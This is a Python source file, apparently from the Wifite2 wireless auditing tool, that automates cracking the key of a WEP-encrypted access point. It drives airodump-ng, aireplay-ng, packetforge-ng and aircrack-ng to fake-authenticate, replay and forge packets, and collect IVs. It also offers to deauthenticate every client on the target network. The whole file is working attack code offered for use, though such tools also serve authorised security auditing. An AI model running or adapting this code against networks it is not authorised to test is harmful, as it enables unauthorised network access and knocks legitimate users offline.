376 lines
18 KiB
Python
Executable File
376 lines
18 KiB
Python
Executable File
#!/usr/bin/python2.7
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# -*- coding: utf-8 -*-
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from ..model.attack import Attack
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from ..tools.airodump import Airodump
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from ..tools.aireplay import Aireplay, WEPAttackType
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from ..tools.aircrack import Aircrack
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from ..tools.ifconfig import Ifconfig
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from ..config import Configuration
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from ..util.color import Color
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from ..util.input import raw_input
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from ..model.wep_result import CrackResultWEP
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import time
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class AttackWEP(Attack):
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'''
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Contains logic for attacking a WEP-encrypted access point.
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'''
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fakeauth_wait = 5
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def __init__(self, target):
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super(AttackWEP, self).__init__(target)
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self.crack_result = None
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self.success = False
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def run(self):
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'''
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Initiates full WEP attack.
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Including airodump-ng starting, cracking, etc.
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Returns: True if attack is successful, false otherwise
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'''
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aircrack = None # Aircrack process, not started yet
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fakeauth_proc = None
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replay_file = None
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airodump_target = None
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previous_ivs = 0
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current_ivs = 0
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total_ivs = 0
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keep_ivs = Configuration.wep_keep_ivs
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# Clean up previous WEP sessions
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if keep_ivs:
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Airodump.delete_airodump_temp_files('wep')
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attacks_remaining = list(Configuration.wep_attacks)
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while len(attacks_remaining) > 0:
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attack_name = attacks_remaining.pop(0)
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# BIG try-catch to capture ctrl+c
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try:
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# Start Airodump process
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with Airodump(channel=self.target.channel,
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target_bssid=self.target.bssid,
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ivs_only=True, # Only capture IVs packets
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skip_wps=True, # Don't check for WPS-compatibility
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output_file_prefix='wep',
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delete_existing_files=not keep_ivs) as airodump:
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Color.clear_line()
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Color.p('\r{+} {O}waiting{W} for target to appear...')
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airodump_target = self.wait_for_target(airodump)
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fakeauth_proc = None
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if self.fake_auth():
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# We successfully authenticated!
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# Use our interface's MAC address for the attacks.
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client_mac = Ifconfig.get_mac(Configuration.interface)
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# Keep us authenticated
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fakeauth_proc = Aireplay(self.target, "fakeauth")
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elif len(airodump_target.clients) == 0:
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# Failed to fakeauth, can't use our MAC.
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# And there are no associated clients. Use one and tell the user.
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Color.pl('{!} {O}there are no associated clients{W}')
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Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
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' without fake-authentication or associated clients{W}')
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client_mac = None
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else:
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# Fakeauth failed, but we can re-use an existing client
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client_mac = airodump_target.clients[0].station
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# Convert to WEPAttackType.
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wep_attack_type = WEPAttackType(attack_name)
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# Start Aireplay process.
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aireplay = Aireplay(self.target,
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wep_attack_type,
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client_mac=client_mac,
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replay_file=replay_file)
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time_unchanged_ivs = time.time() # Timestamp when IVs last changed
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last_ivs_count = 0
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# Loop until attack completes.
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while True:
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airodump_target = self.wait_for_target(airodump)
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if client_mac is None and len(airodump_target.clients) > 0:
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client_mac = airodump_target.clients[0].station
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if keep_ivs and current_ivs > airodump_target.ivs:
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# We now have less IVS than before; A new attack must have started.
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# Track how many we have in-total.
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previous_ivs += total_ivs
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current_ivs = airodump_target.ivs
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total_ivs = previous_ivs + current_ivs
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status = "%d/{C}%d{W} IVs" % (total_ivs, Configuration.wep_crack_at_ivs)
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if fakeauth_proc:
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if fakeauth_proc and fakeauth_proc.status:
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status += ", {G}fakeauth{W}"
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else:
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status += ", {R}no-auth{W}"
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if aireplay.status is not None:
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status += ", %s" % aireplay.status
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Color.clear_entire_line()
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Color.pattack("WEP", airodump_target, "%s" % attack_name, status)
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# Check if we cracked it.
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if aircrack and aircrack.is_cracked():
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(hex_key, ascii_key) = aircrack.get_key_hex_ascii()
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bssid = airodump_target.bssid
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if airodump_target.essid_known:
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essid = airodump_target.essid
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else:
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essid = None
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Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n' % attack_name)
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if aireplay: aireplay.stop()
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if fakeauth_proc: fakeauth_proc.stop()
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self.crack_result = CrackResultWEP(self.target.bssid,
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self.target.essid, hex_key, ascii_key)
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self.crack_result.dump()
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Airodump.delete_airodump_temp_files('wep')
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self.success = True
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return self.success
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if aircrack and aircrack.is_running():
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# Aircrack is running in the background.
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Color.p("and {C}cracking{W}")
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# Check number of IVs, crack if necessary
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if total_ivs > Configuration.wep_crack_at_ivs:
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if not aircrack or not aircrack.is_running():
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# Aircrack hasn't started yet. Start it.
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ivs_files = airodump.find_files(endswith='.ivs')
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ivs_files.sort()
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if len(ivs_files) > 0:
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if not keep_ivs:
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ivs_files = ivs_files[-1] # Use most-recent .ivs file
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aircrack = Aircrack(ivs_files)
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elif Configuration.wep_restart_aircrack > 0 and \
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aircrack.pid.running_time() > Configuration.wep_restart_aircrack:
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# Restart aircrack after X seconds
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#Color.pl('\n{+} {C}aircrack{W} ran for more than {C}%d{W} seconds, restarting' % Configuration.wep_restart_aircrack)
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aircrack.stop()
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ivs_files = airodump.find_files(endswith='.ivs')
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ivs_files.sort()
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if len(ivs_files) > 0:
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if not keep_ivs:
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ivs_files = ivs_files[-1] # Use most-recent .ivs file
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aircrack = Aircrack(ivs_files)
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if not aireplay.is_running():
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# Some Aireplay attacks loop infinitely
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if attack_name == 'chopchop' or attack_name == 'fragment':
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# We expect these to stop once a .xor is created, or if the process failed.
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replay_file = None
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# Check for .xor file.
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xor_file = Aireplay.get_xor()
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if not xor_file:
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# If .xor is not there, the process failed.
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Color.pl('\n{!} {O}%s attack{R} did not generate a .xor file' % attack_name)
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# XXX: For debugging
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Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd))
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Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
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break
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# If .xor exists, run packetforge-ng to create .cap
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Color.pl('\n{+} {C}%s attack{W}' % attack_name +
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' generated a {C}.xor file{W}, {G}forging...{W}')
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replay_file = Aireplay.forge_packet(xor_file,
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airodump_target.bssid,
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client_mac)
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if replay_file:
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Color.pl('{+} {C}forged packet{W},' +
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' {G}replaying...{W}')
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wep_attack_type = WEPAttackType("forgedreplay")
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attack_name = "forgedreplay"
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aireplay = Aireplay(self.target,
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'forgedreplay',
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client_mac=client_mac,
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replay_file=replay_file)
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time_unchanged_ivs = time.time() # Reset unchanged IVs time (it may have taken a while to forge the packet)
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continue
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else:
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# Failed to forge packet. drop out
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break
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else:
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Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
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Color.pl('{?} {O}Command: {R}%s{W}' % " ".join(aireplay.cmd))
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Color.pl('{?} {O}Output:\n{R}%s{W}' % aireplay.get_output())
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break # Continue to other attacks
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# Check if IVs stopped flowing (same for > N seconds)
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if airodump_target.ivs > last_ivs_count:
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time_unchanged_ivs = time.time()
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elif Configuration.wep_restart_stale_ivs > 0 and \
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attack_name != 'chopchop' and \
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attack_name != 'fragment':
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stale_seconds = time.time() - time_unchanged_ivs
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if stale_seconds > Configuration.wep_restart_stale_ivs:
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# No new IVs within threshold, restart aireplay
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aireplay.stop()
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Color.pl('\n{!} restarting {C}aireplay{W} after' +
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' {C}%d{W} seconds of no new IVs'
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% stale_seconds)
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aireplay = Aireplay(self.target, \
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wep_attack_type, \
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client_mac=client_mac, \
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replay_file=replay_file)
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time_unchanged_ivs = time.time()
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last_ivs_count = airodump_target.ivs
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time.sleep(1)
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continue
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# End of big while loop
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# End of with-airodump
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except KeyboardInterrupt:
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if fakeauth_proc: fakeauth_proc.stop()
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if len(attacks_remaining) == 0:
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if keep_ivs:
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Airodump.delete_airodump_temp_files('wep')
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self.success = False
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return self.success
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if self.user_wants_to_stop(attack_name, attacks_remaining, airodump_target):
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if keep_ivs:
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Airodump.delete_airodump_temp_files('wep')
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self.success = False
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return self.success
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except Exception as e:
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Color.pl("\n{!} {R}Error: {O}%s" % str(e))
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if Configuration.verbose > 0 or Configuration.print_stack_traces:
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Color.pl('\n{!} {O}Full stack trace below')
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from traceback import format_exc
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Color.p('\n{!} ')
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err = format_exc().strip()
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err = err.replace('\n', '\n{!} {C} ')
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err = err.replace(' File', '{W}File')
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err = err.replace(' Exception: ', '{R}Exception: {O}')
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Color.pl(err)
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continue
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# End of big try-catch
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# End of for-each-attack-type loop
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if keep_ivs:
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Airodump.delete_airodump_temp_files('wep')
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self.success = False
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return self.success
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def user_wants_to_stop(self, current_attack, attacks_remaining, target):
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'''
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Ask user what attack to perform next (re-orders attacks_remaining, returns False),
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or if we should stop attacking this target (returns True).
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'''
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if target is None:
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Color.pl("")
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return True
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target_name = target.essid if target.essid_known else target.bssid
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Color.pl("\n\n{!} {O}Interrupted")
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Color.pl("{+} {W}Next steps:")
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# Deauth clients & retry
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attack_index = 1
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Color.pl(" {G}1{W}: {O}Deauth clients{W} and {G}retry{W} {C}%s attack{W} against {G}%s{W}" % (current_attack, target_name))
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# Move onto a different WEP attack
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for attack_name in attacks_remaining:
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attack_index += 1
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Color.pl(" {G}%d{W}: Start new {C}%s attack{W} against {G}%s{W}" % (attack_index, attack_name, target_name))
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# Stop attacking entirely
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attack_index += 1
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Color.pl(" {G}%d{W}: {R}Stop attacking, {O}Move onto next target{W}" % attack_index)
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while True:
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answer = raw_input(Color.s("{?} Select an option ({G}1-%d{W}): " % attack_index))
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if not answer.isdigit() or int(answer) < 1 or int(answer) > attack_index:
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Color.pl("{!} {R}Invalid input: {O}Must enter a number between {G}1-%d{W}" % attack_index)
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continue
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answer = int(answer)
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break
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if answer == 1:
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# Deauth clients & retry
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deauth_count = 1
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Color.clear_entire_line()
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Color.p("\r{+} {O}Deauthenticating *broadcast*{W} (all clients)...")
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Aireplay.deauth(target.bssid, essid=target.essid)
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attacking_mac = Ifconfig.get_mac(Configuration.interface)
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for client in target.clients:
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if attacking_mac.lower() == client.station.lower():
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continue # Don't deauth ourselves.
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Color.clear_entire_line()
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Color.p("\r{+} {O}Deauthenticating client {C}%s{W}..." % client.station)
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Aireplay.deauth(target.bssid, client_mac=client.station, essid=target.essid)
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deauth_count += 1
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Color.clear_entire_line()
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Color.pl("\r{+} Sent {C}%d {O}deauths{W}" % deauth_count)
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# Re-insert current attack to top of list of attacks remaining
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attacks_remaining.insert(0, current_attack)
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return False # Don't stop
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elif answer == attack_index:
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return True # Stop attacking
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elif answer > 1:
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# User selected specific attack: Re-order attacks based on desired next-step
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attacks_remaining.insert(0, attacks_remaining.pop(answer-2))
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return False # Don't stop
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def fake_auth(self):
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'''
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Attempts to fake-authenticate with target.
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Returns: True if successful,
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False is unsuccessful.
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'''
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Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
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fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
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if fakeauth:
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Color.pl(' {G}success{W}')
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else:
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Color.pl(' {R}failed{W}')
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if Configuration.require_fakeauth:
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# Fakeauth is required, fail
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raise Exception(
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'Fake-authenticate did not complete within' +
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' %d seconds' % AttackWEP.fakeauth_wait)
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else:
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# Warn that fakeauth failed
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Color.pl('{!} {O}' +
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'unable to fake-authenticate with target' +
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' (%s){W}' % self.target.bssid)
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Color.pl('{!} continuing attacks because' +
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' {G}--require-fakeauth{W} was not set')
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return fakeauth
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if __name__ == '__main__':
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Configuration.initialize(True)
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from ..model.target import Target
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fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
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target = Target(fields)
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wep = AttackWEP(target)
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wep.run()
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Configuration.exit_gracefully(0)
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